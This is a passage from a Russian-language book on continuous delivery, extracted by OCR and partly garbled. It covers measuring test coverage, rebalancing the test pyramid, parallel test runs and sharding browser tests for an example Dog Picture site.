вого покрытия выполняется так же 
быстро, как и задача юнит-тестиро
вания, Шридхар может добавить ее 
в пайплайн, который запускается до 
объединения изменений. 

r. -
t:i) Создание образов 

фронтенда q 
и бэкенда 

no.iAмo.iAн мред 
слиянием будеWI 
30.V\!:jCKO.W\t> 
ЭW\и 30.дО.Чи 
V\о.ро.ллелt>но. 

Загрузка образов 
и обновление 
базы данных 

Выполнение 
юнит-тестов 

Измерение 
покрытия кода 
юнит-тестами 

Постойте! А где же линтинг? Я читал главу 4 и знаю, что линтинг тоже 

важен. Разве Шридхар не должен добавить линтинг ? 

Я полностью согласна, и это, вероятно, будет следующим шагом Шридхара, 
когда он разберется с тестами, однако он не может решать одновременно 
несколько задач ! В главе 2 мы рассмотрели все элементы, которые должен со
держать пайплайн CD, включая линтинг. 
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Шридхар считает, что для того, чтобы провести безопасную корректировку соот
ношения интеграционных и юнит-тестов, необходимо начать измерять покрытие 
тестами. Что такое измерение тестового покрытия и почему оно важноr 

Покрытие тестами (test coverage) - это оценка того, насколько эффективно тесты 
используют тестируемый код. В частности, отчеты о тестовом покрытии покажут, 
строка за строкой, какой проверяемый код используется тестами, а какой нет. Напри
мер, на сайте Dog Picture есть такой юнит-тест для проверки логики поиска по тегам: 

def test_searc h_by_tag ( self ) : 
search  = _new_searc h ( )  
results  = searc h . by_tags ( [ " fluffy " ] )  
self . a s sertDogRes u l  t s Equal  ( resul  t s ,  "fluffy " , [ Dog ( " s heldon " ) ] ) 

Этот тест проверяет метод by_tags на объекте Search ,  который выглядит так: 

def by_tags ( self ,  tags ) : 
t ry :  

query = bui ld_query_from_tags ( tags ) 
except EmptyQuery : 

raise  InvalidSearc h ( )  
result  = self . _db . query ( query )  
return  result  

Программа измерения тестового покрытия запустит тест test_search_by_tag, про
верит, какие строки кода в Ьу _ tags выполняются, и сгенерирует отчет о проценте 
покрытых строк. Покрытие для by_t a g s  тестом t e st_s e a r c h_by_t a g  выглядит 
следующим образом: строки, которые выполняются тестом, выделены светлым, 
а строки, которые не выполняются, - темным: 

def by_tags ( self ,  tags ) : 
t ry : 

query = bui l d_query_f rom_tags (tags) 
except EmptyQuery : 

raise  InvalidSearch  
res u l t = sel f . _db . q ue ry (que ry) 
ret u r n  resu l t 

Логично, что этот тест не проверяет условия возникновения соответствующих оши
бок; это лучше оставить для другого теста. Однако в данном случае test_search_by_ 
tag - единственный юнит-тест для by_tags .  Следовательно, эти строки вообще не 
покрываются никаким тестом. Таким образом, для этого метода тестовое покрытие 
составляет три строки из пяти, или 60 %. 

Критерии покрытия 

В предыдущем примере использовался критерий покрытия, получивший название 11окрь1тие 
операторов (statement coverage), который проверяет каждый оператор на предмет того, был ли 
он хотя бы раз выполнен. Можно использовать и другие, более точные критерии, например 
покрытие условий (condition coverage).  Если оператор i f содержит несколько условий, при 
использовании покрытия операторов будет считаться, что оператор покрыт, если к нему было 
хотя бы одно обращение, а покрытие условий потребует полного анализа каждого условия. 
В этой главе для начала я остановлюсь на покрытии оператора. 
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Ка к  обеспечить тестовое покрытие 
Важно помнить, что пока Шридхар вносит эти изменения, другие разработчики 
продолжают работать и отправлять функции. Коллеги присылают новые функции 
(и  исправления багов) ,  а иногда (надеюсь, всегда или почти всегда ! )  и тесты. Это 
значит, что даже при том, что Шридхар отслеживает покрытие кода тестами, оно 
может снижаться ! 

Но к счастью, Шридхар знает не только 
как предотвратить этот процесс, но и как 
увеличить количество юнит-тестов. 

Прежде чем двигаться дальше, Шридхар 
собирается обновить задачу измерения по
крытия таким образом, чтобы она останав
ливала пайплайн, если покрытие снижает
ся. После добавления этого изменения он 
может быть уверен, что тестовое покрытие 
в коде как минимум не снизится, а в идеале 
даже увеличится. 

Помимо решения общей проблемы, это 
еще и отличный способ разделить нагрузку, 
чтобы Шридхару не приходилось выполнять 
всю работу одному! Он обновляет задачу, 
запускающую измерение тестового покры
тия, чтобы выполнялся этот скрипт: 

Звучит знакомо? Этот подход 
похож на тот, который Бекки 
использовала в главе 4, когда 
работала с линтингом. У из
мерения количества ошибок 
линтинга и измерения тесто
вого покрытия много общего. 

Вы можете заметить, что это 
вариация скрипта для лин
тинга, который Бекки написа
ла в главе 4.  

# при  запуске пайплайна  он будет передавать в качестве ар гументов 
# пути к фа йлам,  которые и зменил ись  в PR 
paths_to_changes = get_arguments ( )  

# измерение покрытия кода для фа йлов,  которые были изменены 
coverage = measure_coverage ( paths_to_changes ) 

# измерение покрытия для фа йлов до внесения измене н и й ;  это может 
# производиться путем извлечения значений  из какого-либо хранил ища 
# или же просто повторным измерением покрытия 
# для тех же фа йлов в главной ветке проекта ( то есть до внесения изменений ) 
prev_coverage = get_previous_coverage ( paths_to_changes ) 

# сравнить  покрытие с учетом изменений  и предыдущее эначение покрытия 
if coverage < prev_coverage : 

# слияния  изменений  не должно произойти ,  если  оно уменьшит покрытие 
fail ( ' coverage reduced from {}  to { } ' . format ( p rev_coverage , coverage ) )  
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Тестовое покрытие в пайплай не 
Добавив этот скрипт в пайплайн перед слиянием веток, Шридхар упорядочил 
существующую проблему покрытия: ребята добавляли юнит-тесты как попало, 
без разбора. С помощью автоматизации измерения покрытия и блокировки из
менений PR, снижающих покрытие, разработчики смогут более обоснованно 
решать,  что покрывать тестами ,  а что нет. После того как Шридхар обновил 
задачу измерения покрытия юнит-тестами так, чтобы обеспечить соблюдение 
требований к тестовому покрытию, часть пайплайна до слияния стала выглядеть 
следующим образом: 

( Запуск юнит-тестов 

Эw..а задача рань�ме 1 Измеряем покрытие 

исv-.ользо8алась w..олько юнит-тестами 

для измерения v-.окрыw..ия; и следим, чтобы 

w..е1"1.ерь она w..акже � оно не уменьшалось 

1"\рu8одиw.. к осw..ано8ке 
v-.а!Аv-.ла!Ана, если 
мкрыw..ие умень�маеw..ся. 

Усv-.е�мное v-.рохождение 
v-.а!Аv-.ла!Ана до слияния измене -
ниiА zapaнw..иpyew.., чw..о каждое 
изменение у8еличиw.. 1"1.окрь1w..ие 
w..есw..ами (или, м кра!Ане!А 
мере, ocw..a8иw.. 1"\режним). 

Эw..а обновленная задача 
будеw.. заv-.ускаw..ься как 
часw..ь ночного 1"1.а!А1"1.ла!Ана, 

'-- мскольку ночно!А м!Ама!Ан 
должен 8ыv-.олняw..ься 
до слияния изменениiА. 

Это очень незначительное изменение по сравнению с предыдущей итерацией, но 
теперь Шридхар может продолжить с уверенностью, что функции и исправления 
багов, добавляемые во время его работы, либо увеличат покрытие, либо, как мини
мум, оставят без изменений. 

Нужно ли создавать эту функцию самостоятельно? 

Зависит от обстоятельств ! Для большинства языков программирования до
ступны различные инструменты измерения покрытия и даже хранения и со
ставления отчетов. Многие все равно предпочитают писать свои собственные 
инструменты, потому что их не очень сложно реализовать и они предоставляют 
большую свободу управления их работой. Проанализируйте доступные инстру
менты и решите, стоит ли этим заниматься . 
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Перемещение тестов по п и рамиде 
с учетом покрытия 
На данном этапе количество юнит-тестов, скорее всего, начнет неуклонно расти 
даже без дальнейшего вмешательства, потому что Шридхар сделал обязательным 
условием добавление юнит-тестов одновременно с изменениями, которые вносят 
разработчики. 

Будет ли этого достаточно для достижения его целей? Вспомним их: 

• увеличить процент юнит-тестов с 25 до 70 %; 

• уменьшить долю интеграционных тестов с 65 до 20 %. 

Со временем эти соотношения, вероятно, будут меняться в нужном направлении, · но недостаточно быстро, чтобы произошли кардинальные изменения, к которым 
стремится Шридхар. Ему наверняка придется написать дополнительные юнит-те
сты и, возможно, удалить существующие интеграционные. Как определить, какие 
добавить, а какие убрать? 

Шридхар просматривает отчеты о покрытии кода, находит код с наименьшим 
процентом покрытия и обращает внимание на то, какие строки не покрыты. К при
меру, он анализирует покрытие функции by_tags ,  рассмотренной чуть выше. 

def by_tags ( self,  tags ) : 
t ry :  

query  = bui l d_que ry_from_tags (tags)  
except EmptyQuery : 

raise  InvalidSearch  
res u l t = sel f . _db . q ue ry (que ry) 
ret u r n  resu l t 

Ошибка, связанная с пустым запросом, не покрыта юнит-тестами. Из этого Шрид
хар делает вывод, что здесь нужно добавить юнит-тест. Кроме того, если найдется 
интеграционный тест, который охватывает ту же логику, его в принципе можно 
будет удалить. Поэтому он просматривает интеграционные тесты и находит тест 
под названием test_i nval id_queries .  Этот тест создает экземпляр работающей 
серверной службы (что, собственно, и делают все интеграционные тесты) ,  затем 

Нужно ли измерять покрытие для интеграционных и сквозных тесто в ?  

Чтобы получить полное представление о покрытии тестами, у вас может воз
никнуть желание измерить покрытие для интеграционных и сквозных тестов. 
Иногда это можно сделать; обычно для этого требуется добавить в систему 
дополнительную отладочную информацию, которую можно использовать для 
измерения покрытия кода во время выполнения этих высокоуровневых тестов. 
Вам может показаться это полезным; однако, как правило, необходимый инстру
мент придется создавать самостоятельно, и он может дать вам ложное чувство 
уверенности. Лучше всего всегда обеспечивать высокое покрытие юнит-тестами, 
поскольку эта метрика важна сама по себе, а если отслеживать только общее 
покрытие для набора тестов, ее можно упустить. 
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формирует ошибочные запросы и проверяет, что они не проходят. Анализируя этот 
тест, Шридхар понимает, что он может покрыть все случаи проверки некорректных 
запросов с помощью юнит-тестов. Он пишет ряд тестов, которые выполняются 
менее чем за секунду, и теперь может удалить test_inva l id_queries ,  выполнение 
которого занимало около 20 секунд, а возможно, и больше. И он по-прежнему может 
быть уверен, что набор тестов выявит те же ошибки, что и до внесения изменений. 

Ка к  дви гаться вниз по п и рамиде? 
Чтобы продолжать увеличивать долю юнит-тестов, Шридхар применяет к набору 
тестов следующий паттерн: 

1. Он ищет пробелы в покрытии юнит-тестами (строки кода, которые не покрыты) .  
В целях эффективности он начинает с пакетов и файлов, в которых доля юнит
тестов наименьшая. 

2 .  Для обнаруженного неохваченного кода он добавляет юнит-тесты. 

3 .  Он просматривает более медленные тесты (в данном случае интеграционные) 
в поисках тех, которые включают проверку логики, покрываемую юнит-тестами, 
и обновляет или удаляет их. 

Таким образом, он может как значительно увеличить количество юнит-тестов, так 
и уменьшить количество интеграционных (то есть увеличить количество быстрых 
тестов и сократить количество медленных) . Наконец, он проверяет интеграционные 
тесты на предмет дублирующего покрытия; для каждого интеграционного теста он 
задает следующие вопросы: 

• Охвачен ли этот случай юнит-тестами? 

• Почему этот тест может не пройти, если юнит-тесты прошли успешно? 

Если этот случай уже покрыт юнит-тестами и нет ничего, что могло бы привести 
к провалу интеграционного теста, когда юнит-тесты прошли успешно, то интеграци
онный тест можно безопасно удалить. 

Но если я это сделаю, не потеряю ли я данные? Разве интеграционные 

тест ы не лучше юнит-тестов ? Я видел эти мемы типа: юнит-тестов 

недостаточно. 

Вы правы! Вопрос в том, сколько интеграционных тестов необходимо. Интегра
ционные тесты служат для проверки того, что все отдельные блоки кода коррект
но связаны между собой. Если вы протестируете блоки кода, а затем проверите 
правильность их соединения, вы обеспечите практически полное покрытие. Это 
своего рода компромисс между затратами и выгодой: стоит ли тратить ресурсы на 
проведение и поддержку интеграционных тестов, которые охватывают ту же об
ласть, что и юнит-тесты, в расчете на то, что они смогут выявить специфический 
случай, который вы упустили? Ответ зависит от того, над чем вы работаете. Если на 
карту поставлены жизни людей, ответ может быть утвердительным; важно найти 
правильный компромисс для создаваемого продукта. 
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� Ваш ход: определите недостающие тесты 

Шридхар обнаружил, что класс Search в целом имеет очень низкое покрытие, 
и работает над отчетами, чтобы его увеличить. Он изучает покрытие для 
метода from_favorited_search  и видит следующее: 

def from_favorited_sea rc h ( self ,  favorite ) :  
t ry : 

cached_resu l t = sel f . _cache . get_resu l t (favo ri te . query( ) ) 
except CacheError : 

c a ched result  = None 
i f  cached_resu l t i s  None : 

res u l t = sel f . _db . q uery(favo ri te . q ue ry ( ) )  
else : 

result  = cached  result . re s u lt 
retu rn  resu l t 

Он ищет интеграционные тесты, которые проверяют логику поиска по из
бранному (favorited search) ,  и находит их: 

test_favorited_search_many_results 

test_favorited_search_no_results 

test_favorited_search_cache_connection_error 

test_favorited_search_many_results_cached 

test_favorited_search_no_results_cached 

Какие из этих интеграционных тестов Шридхар должен удалить? Какие юнит
тесты он может добавить? 

� Ответы 

Это классический сценарий, в котором всю тяжелую работу выполняют 
интеграционные тесты. Юнит-тесты охватывают только один путь - без 
кэшированных результатов и без ошибок, а интеграционные тесты стремятся 
покрыть все. Шридхар собирается изменить эту ситуацию: вместо того чтобы 
проводить юнит-тесты для одного пути, а все остальные случаи обрабатывать 
с помощью интеграционных тестов, он заменяет все интеграционные тесты на 
test_favorited_search и добавляет юнит-тесты для всех вариантов, которые 
прежде проверялись интеграционными тестами. 
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Унаследованные тесты и F U D  
Изменять или даже удалять тесты, которые существуют уже очень давно, страшно
вато! В таких случаях мы часто сталкиваемся с явлением FUD (fear, uпcertaiпty апd 
doubt) :  страх, неуверенность и сомнения. 

Если поддаться FUD, можно решить, что вносить изменения в существующие 
наборы тестов опасно: тестов слишком много, сложно сказать, что они тестируют, 
и возникает страх удалить тест, на котором, как окажется потом, все держалось. 

Если вы обнаружили, что рассуждаете подобным образом, стоит задуматься 
о том, что же такое FUD на самом деле и откуда он берется. В конечном счете, все 
дело в букве F - страх. Это страх, что вы можете сделать что-то не так или ухудшить 
положение, и именно он удерживает вас от внесения изменений. 

В таком случае вспомните, для чеrо мы проводим тесты: их назначение - поддер
жать нас, дать уверенность в том, что можно безопасно вносить изменения, которые 
будут делать именно то, что необходимо. FUD - это полная противоположность 
тому, что должны делать тесты. Они придают нам уверенность, а FUD ее отнимает. 

Не позволяйте FUD сковывать вас! Когда вы слышите, как FUD шепчет вам, что 
вносить изменения слишком опасно, противопоставляйте ему сухие факты. Вспом
ните, что такое тесты: это формальное описание того, как, по мнению их создателя, 
должна вести себя система, - ни больше и ни меньше. По сути, они даже не явля
ются системой! Не поддавайтесь страху; сделайте глубокий вдох и спросите себя: 
понимаю ли я, что делает этот тест� Если нет, найдите время, чтобы разобраться 
и понять. Если вы все понимаете, считайте, что вы тот, кто ответствен за внесение 
изменений.  Если вы не внесете их, возможно, этого не сделает никто, и чувство 
FUD, которое остальные испытывают по отношению к тестам, со временем будет 
только расти. 

В общем,  если работать под влиянием 
страха и поддаваться FUD, вы не попробу
ете новое. Тем самым вы не сможете совер-
шенствоваться, а если вы не исправите свои 
тесты, то со временем они неизбежно станут 
только хуже. 

',ф� ВАЖНО 

(Просто скажи FUD: нет! ) 
_,_, . .. -·"- '-- '• ' '"' 

При работе с медленными наборами тестов оцените их через призму пирамиды 
тестирования - это поможет понять, где именно что-то идет не так. Если у вашей 
пирамиды слишком перегружена вершина (распространенная проблема) , оце
ните уровень тестового покрытия, чтобы быстро оптимизировать соотношение 
тестов и определить, какие из них можно заменить на более быстрые и простые 
в обслуживании юнит-тесты. 

Книги для программистов: https://t.me/booksforits



156 Глава 6.  Ускорение медленных наборов тестов 

Па раллел ьный за пуск тестов 
После напряженной работы над интеграционными и юнит-тестами Шридхар до
бился (по его мнению) максимально возможного на данный момент результата. 
Он достиг поставленных целей по улучшению соотношения тестов: 

• увеличил долю юнит-тестов с 25 до 72 % (цель - 70 %); и 

• уменьшил долю интеграционных тестов с 65 до 2 1  % (цель - 20 %).  

Юнит-тесты по-прежнему выполняются меньше чем за минуту, однако даже при 
достигнутых результатах на выполнение интеграционных тестов уходит около 
35 минут. Главной целью Шридхара было добиться того, чтобы интеграционные 
и юнит-тесты в совокупности выполнялись менее чем за 5 минут. Несмотря на то 
что он сократил общее время (сэкономив более часа), тесты все еще выполняются 
медленнее, чем ему хотелось бы. Он хотел бы проводить их перед слиянием, и пока
затель 35 минут делает это почти реальным, но у него есть еще один козырь, который 
позволит ему существенно сократить и это время. 

Он собирается запускать интеграционные тесты параллельно. В большинстве 
наборов по умолчанию тесты запускаются по очереди. Вот пример интеграционных 
тестов, оставшихся после того, как Шридхар сократил их количество, и среднее 
время их выполнения: 

1 .  test_search_query (20 секунд) 

2 .  test_view_latest_dog_pics  ( 1 0  секунд) 

3 .  test_log_in (20 секунд) 

4 .  test_unauthorized_edit ( 1 0  секунд) 

5 .  test_picture_upload (30 секунд) 

Поочередное выполнение этих тестов занимает 
в среднем 90 секунд (20 + 10 + 20 + 10 + 30 = 90). 

Шридхар обновляет интеграционные тесты, 
чтобы они запускались параллельно и в мак
симально возможном объеме. В большинстве 
случаев это означает одновременный запуск 
по одному тесту на каждое ядро процессора. 
На восьмиядерном компьютере пять тестов 
могут легко выполняться параллельно, а это 
означает, что выполнение всех тестов займет 

Если один тест выполняется 
намного дольше других, вы 
станете его заложником; на
пример, если один тест сам 
по себе занимает 30 минут, 
распараллеливание не по
может, потребуется исправ
ление самого теста. 

столько времени, сколько длится самый долгий тест: только 30 секунд, а не все 90. 

После такой чистки на сайте Dog Picture осталось 1 1 6 интеграционных тестов. 
Их поочередное выполнение занимает около 35 минут с учетом того, что на каждый 
в среднем уходит по 18 секунд. Параллельный запуск на восьмиядерной машине 
позволяет одновременно выполнять восемь тестов, и весь набор будет завершен 
примерно за одну восьмую часть времени, или примерно 4,5 минуты. Запустив ин
теграционные тесты параллельно, Шридхар наконец достиг своей цели - сократить 
время выполнения интеграционных и юнит-тестов до 5 минут. 
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Когда можно выполнять тесты параллельно? 
Любые ли тесты подходят для параллельного запуска? Не совсем. Чтобы тесты 
можно было запускать параллельно, они должны соответствовать следующим 
критериям: 

• не зависеть друг от друга; 

• выполняться в любом порядке; 

• не мешать друг другу (например, используя общую память) . 

Старайтесь писать полностью незави
симые тесты, которые не мешают друг 
другу. Если вы пишете правильные те
сты, у вас не возникнет проблем с их 
параллельным выполнением. 

Вероятно,  самое сложное усло
вие - чтобы тесты не мешали друг 
другу. Это легко может произойти 
случайно, особенно при тестировании 
кода, использующего глобальное хра
нилище. Как следует потрудившись, 
вы сможете найти способ исправить 
тесты так, чтобы они были полностью 
изолированы друг от друга, что, ско
рее всего, поможет повысить и общее 
качество кода: обеспечить слабую свя
занность (coupling) и сильную связ
ность (cohesion) .  

Параллельный запуск юнит

тестов - это запах кода 

Помните, что юнит-тесты предна-
значены для тестирования изолиро
ванной функциональности и должны 
быть быстрыми, порядка нескольких 
секунд или меньше. Если ваши юнит-
тесты выполняются несколько минут 
или дольше и вы подумываете о том, 
чтобы ускорить их с помощью парал-
лельного запуска, скорее всего, они 
делают слишком много и на самом 
деле это интеграционные или систем-
ные тесты; велика вероятность, что 
у вас вообще нет юнит-тестов. 

Обновив набор тестов для сайта Dog Picture так, чтобы они работали параллель
но, Шридхар обнаружил несколько мешающих друг другу тестов, которые следует 
исправить, но после изменения он добился выполнения и интеграционных, и юнит-
тестов менее чем за 5 минут. 

Нужно пи создавать функциональность параллельных тестов самому? 

Скорее всего, нет! Это настолько частый способ оптимизации тестов, что 
возможность запускать тесты параллельно предусмотрена для большинства 
языков программирования - либо из самого пакета, либо с помощью стан -
дартных библиотек. Например, в Python можно запускать тесты параллель
но с помощью такой библиотеки, как testtools, или расширения популярной 
библиотеки pytest. В Go эта функциональность реализуется в возможности 
пометить тест как пригодный для параллельного запуска при его написании 
с помощью команды t .  Parallel  ( ) . Поищите соответствующую информа
цию для своего языка в документации по параллельному или одновремен
ному выполнению тестов. 
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Обновление пай плай нов 
Теперь, когда Шридхар достиг своей цели - выполнять интеграционные и юнит-те
сты меньше чем за 5 минут, - он может добавить интеграционные тесты в пайплайн 
до слияния. Тогда разработчики будут получать обратную связь как по интеграци
онным, так и по юнит-тестам прежде, чем произойдет слияние их изменений. 

Для этого ему придется внести правки в набор задач в пайплайне сайта Dog 
Picture, поскольку одна из задач до сих пор одновременно выполняет запуск и ин
теграционных, и браузерных тестов. 

Выполнение 
интеграционнных 

ЭWla задача 6t:>tУ\олняеW1 � ц браузерн1:>1i:i. W1eCW1, 
Y\OЭWIOM!:J ее нужно раздеЛIАW\/:>. Выполнение 

юнит-тестов 
и браузерных тестов с:;) Создание образов Загрузка образа 

и обновление 
базы данных 

-=======�-:. фронтенда � 
и бэкенда ( Измерение покрытия 

кода юнит-тестами -
оно не должно уменьшаться 

К счастью, тесты уже полностью готовы к этому изменению. Как вы помните, брау
зерные тесты уже находятся в отдельной папке с названием tests/browser. Когда 
Шридхар обновлял пайплайн, чтобы вначале запускались юнит-тесты, он отделил 
интеграционные тесты и поместил их в папку tests/integration. Это упрощает выпол
нение последнего шага раздельного запуска интеграционных и браузерных тестов. 

Сначала заУ\ускаюWIСЯ IOHIAWI -W1e 
CW11:>1, Y\OЭWIOM!:J онц MOZ!:JWI 01:>1cW1po 
У\рц6есW11А к осW1ано6ке Y\ai:i.Y\лai:i.нa. 

"'\ 
Выполнение 
юнит-тестов 1 Измерение покрытия 

кода юнит-тестами -
оно не должно 
уменьшаться 

Выполнение 
интеграционнных 

тестов r Выполнение 
браузерных тестов 

Темрt:> 1АНW1еzраццонн1:>1е ц браузер 
н1:>1е WleCWl/:>f MOZ!:JWI 6t:>tY\OЛHЯWl/:>CЯ _ _,,,,.-- У\араллелt:>НО 1А CЭKOHOMIAWI/:> болt:>wе 

IJ 6ременц ! 

CVf Создание образо; Загр�зка образа 

фронтенда и бэкенда � и о новление 
базы данных 

Почему бы не выполнять все тесты параллельно ? 

Шридхар предположил, что если юнит-тесты, выполняемые за секунды, 
не сработают, то нет смысла запускать интеграционные тесты, потому что 
они, скорее всего, тоже не пройдут, однако оба варианта подходят. Подробнее 
см. главу 13 о реализации пайплайнов. 
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Выполнение 
юнит-тестов 

Выполнение 
интеграционнных 

тестов 

А затем Шридхар добавляет за
дачу запуска интеграционных те
стов в пайплайн перед слиянием 
веток. Пайплайн быстро остано
вится, если возникнут проблемы 
с юнит-тестами, и вся проверка 
займет менее 5 минут. 

1 Измерение покрытия 
кода юнит-тестами - Измерение мкрыwщя 

оно не должно не ocW1aнo6uW1 6t>tV\ОЛнение 
меньшаться 1АНW1егра4ионных W1ecW106. �одроднее см. главу :1-3.  

Все еще сли шком медленно! 
Как следует поработав над интеграционными и юнит-тестами, Шридхар добился 
(по его мнению) максимально возможного на данный момент результата. Он достиг 
поставленных целей в части соотношения тестов: 

• увеличил долю юнит-тестов с 25 до 72 % (цель - 70 %) и 

• уменьшил долю интеграционных тестов с 65 до 2 1  % (цель - 20 %) .  

Завершена ли работа? Шридхар оценивает свои глобальные цели:  

• Запускать тесты при каждом изменении до его отправки. Цель почти достигну
та: так выполняются интеграционные и юнит-тесты, но не браузерные. 

• Выполнять весь набор тестов в среднем за 30 минут или меньше. Шридхар сокра
тил время выполнения интеграционных тестов: раньше они занимали 35 минут, 
а теперь - около 5. Раньше весь набор тестов выполнялся за 2 часа 35 минут, 
а теперь - чуть больше чем за 2 часа. Это значительное улучшение, но Шридхар 
все еще не достиг поставленной цели. 

• Выполнять интеграционные и юнит-тесты меньше чем за 5 минут. Сделано! 

• Выполнять юнит-тесты меньше чем за 1 минуту. Сделано ! 

Весь набор тестов выполняется в среднем за 2 часа 5 минут: 

• юнит-тесты - менее 1 минуты; 

• интеграционные тесты - около 5 минут; 

• браузерные тесты - остальные 2 часа. 

Последняя проблема - это браузерные тесты. Все это время они были самыми мед
ленными в наборе. При среднем времени выполнения 2 часа, неважно, насколько 
оптимизирована остальная часть набора, если ничего не сделать с браузерными 
тестами, тесты все равно будут занимать больше 2 часов. 
Может ли Шридхар поступить как раньше и убрать браузерные тесты, заменив их 
интеграционными и юнит-тестами? Это вариант, но изучив набор браузерных те
стов, Шридхар не нашел ни одного подходящего, чтобы удалить! Тесты уже очень 
четко структурированы и хорошо продуманы, а браузерных тестов всего 10 % от 
общего количества (это примерно 50 тестов) ,  что является хорошим показателем. 
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Шардинг тестов, он же параллельный режим ++ 
Шридхар застрял с браузерными тестами в их нынешнем виде, когда на их выполне
ние уходит около 2 часов. Означает ли это, что ему придется распрощаться с целью 
выполнять весь набор тестов для каждого изменения меньше чем за 30 минут? 

К счастью, нет! Потому что у него в запасе остался еще один хитрый прием: 
шардинг. Шардинг (или шардирование) - это метод, который очень похож на па
раллельный запуск тестов, но он увеличивает количество тестов, которые можно 
выполнять одновременно, путем их распараллеливания на нескольких машинах. 

Сейчас все 50 браузерных тестов выполняются на одном компьютере поочередно. 
Каждый тест выполняется в среднем около 2,5 минуты. Сначала Шридхар пыта
ется запускать тесты параллельно, но они настолько требовательны к процессору 
и памяти, что выигрыш оказывается незначительным (а в некоторых случаях тесты 
перехватывают ресурсы друг у друга, существенно замедляя работу) . Одна машина 
может выполнять одновременно только один тест. 

С помощью шардирования (разделения) выполнения тестов Шридхар распреде
лит набор браузерных тестов так, чтобы он выполнялся одновременно на нескольких 
машинах, каждая из которых будет по очереди запускать некоторое подмножество 
тестов, что позволит сократить общее время их выполнения. 

О словарик 
Здесь мы называем распараллеливание тестов на нескольких машинах шардин
гом (sharding), но в системах непрерывной доставки можно встретить и другие 
термины. Иногда это называют расщеплением тестов (splitting), а иногда про
сто параллельным вьтолнением тестов. В этом контексте слово «параллельно» 
означает «На нескольких машинах», в отличие от данной главы, где термин 
«параллельно» используется для обозначения одновременного запуска не
скольких тестов на одной машине. В любом случае шардинг в целом можно 
рассматривать как распараллеливание тестов (многоядерное), но на нескольких 
машинах (многомашинное). 

Что, если Шридхар увеличит мощность компьютера ? Сможет пи он 

тогда обойтись параллельным выполнением тестов на одной машине ? 

Это могло бы помочь, но как вы, скорее всего, знаете, мощность машин по
стоянно увеличивается, а мы в ответ создаем все более сложные программы 
и тесты ! Поэтому хотя использование более мощных компьютеров могло бы 
помочь Шридхару, я покажу, что можно сделать, когда такой возможности нет. 
Я не буду углубляться в подробности работы процессора и объема памяти, 
которые он использует, поскольку то, что кажется мощным сегодня, окажется 
сущим пустяком завтра! 
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Шардинг подразумевает ускорение выполнения на
бора давно работающих тестов за счет использова
ния дополнительных единиц оборудования (запуск 
на нескольких компьютерах вместо одного) .  Но как 
это выглядит на практике? Возможно, вы представ
ляете себе сложную систему,

. 
требующую рабочих 

узлов, взаимодействующих с центральным контрол-

IJсловарик 
Шард (shard) - отдель-
ная машина, доступная 
для выполнения под-
множества тестов. 

лером, но не волнуйтесь, все гораздо проще! 
Суть в том, чтобы сформировать несколько шардов и назначить каждому из них 

выполнение определенного подмножества тестов. Распределить тесты по шардам 
можно несколькими способами. Рассмотрим их в порядке возрастания сложности: 

1. Запустить тесты в определенном порядке и назначить каждому шарду набор 
индексов для выполнения. 

2 .  Явно назначить каждому шарду подмножество тестов для выполнения (напри
мер, по имени) .  

3. Отслеживать атрибуты тестов из предыдущих запусков (например, сколько времени 
требуется каждому тесту для выполнения) и использовать эти атрибуты для распре
деления тестов по шардам (возможно, с использованием их имен, как в варианте 2) . 

Разберемся, что такое шардинг тестов, рассмотрев вариант 1 более подробно. На
пример, представьте, что следующие 13 тестов распределены между тремя рабочими 
компьютерами: 

О. 

1 .  
2 .  

На 3 w.ардах ecw\11 3 .  
1.3 W\eCW\06: 1.3/3 = 4. = 4,333, KOW\op1:11e 5 .  
я округлю 6. 
до 5, оW\да6 каждому 7. 
цз V\ep61:11x д6ух w.ардо6 8.  
V\O 5 W\eCW\06) а V\ОСЛед -

9.  нему - осW\а6w.цеся 3. 
10 .  
1 1 . 
12 .  

test_login  } nep61:11iA w.ард с номером о 
test_post_pi c  млучцW\ 5 W\eCW\06: OW\ 
test_rate_pic  начал1:1ного цндекса о до 
test_browse_pi c s  конечного цндекса 4. 
test_follow_dog 
test_view_leaderboa rd} Шард 1. W\акже V\� -
test_view_logged_out луЧIАW\ 5 W\UW\06. 
test edi t pic  

OW\ начал1:1ного 
- -f цндекса 5 до конеч -

test_post_ orum ного q ,  
test_ed it_forum 
test_sha re_ twitte r  Шард 2. V\OЛYЧIAW\ OCW\a -
test_sha re_instagram 
test_report_u serOu r 

W\OK: OW\ начал1:1ного цн
декса 1.0 до конечного 1.2.. 

Можно распределить эти тесты с помощью первого метода, запустив подмножество 
всех тестов на каждом из трех шардов. Если вы работаете на Python, один из спосо
бов сделать это - использовать библиотеку Python pytest-shard: 

pytest - - shard - id=$SHARD_ID - - num - s hards=$NUM_SHARDS 

Например, на шарде 1 будет запускаться следующее: 

pytest - - shard - id=l - - num- shards=З 
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Более сложный wарди нг 
Шардинг по индексам достаточно прост, но как быть, если случай нестандартный? 
Браузерные тесты Шридхара выполняются в среднем за 2,5 минуты, но что, если 
некоторые из них занимают гораздо больше времени? 

Вот тут-то и пригодятся более сложные схемы шардинга. Например, в третьем 
варианте из ранее перечисленных можно отслеживать атрибуты тестов из преды
дущих прогонов и использовать их для распределения тестов по шардам с помощью 
их имен. 

Для этого необходимо хранить данные о времени выполнения тестов. Напри
мер, возьмем 13 тестов из предыдущего примера и представим, что храним данные 
о том, сколько минут в среднем потребовалось на выполнение каждого из них за 
последние три прогона: 

О. test_login  ( 1 . 5 , 1 .  7, 1 . 6 ) 
1 .  test_post_pi c  ( 3 ,  3 . 1 , 3 . 2 ) 
2. test_rate_pic  { 0 . 8 , 0 . 9 , 0 .  7 )  
3 .  test_browse_pics  ( 2 , 2 ,  2 )  
4 .  test_follow_dog ( 0 . 8 , 0 . 8 , 0 . 8 )  
5. test_view_leade rboa rd { 1 . 8 , 2 . 0 , 1 . 9 ) 
6. test_view_logged_out ( 1 . 7 , 2 . 1 , 1 . 9 ) 
7. t est_edit_pic  { 2 . 1 , 2 . 6 , 2 . 2 ) 
8. test_post_forum { 1 . 8 , 1 . 9 , 1 .  7 )  
9 .  test_edit_forum { 1 . 6 , 1 . 5 , 1 . 7 ) 

10 .  t est_sh a re_twitter  { 2 . 1 , 1 . 9 , 2 . 0 ) 
1 1 . t est_sha re_i n stagram { 2 .  0 ,  1 .  9 ,  2 . 1 ) 
12 .  test_report_userOu r { 1 . 3 , 1 . 2 , 1 . 1 ) 

Чтобы организовать шардинг для следующего за
пуска, следует проанализировать данные о среднем 
времени выполнения тестов и сформировать груп
пы таким образом, чтобы каждый из трех шардов 
выполнял тесты примерно за одно и то же время. 

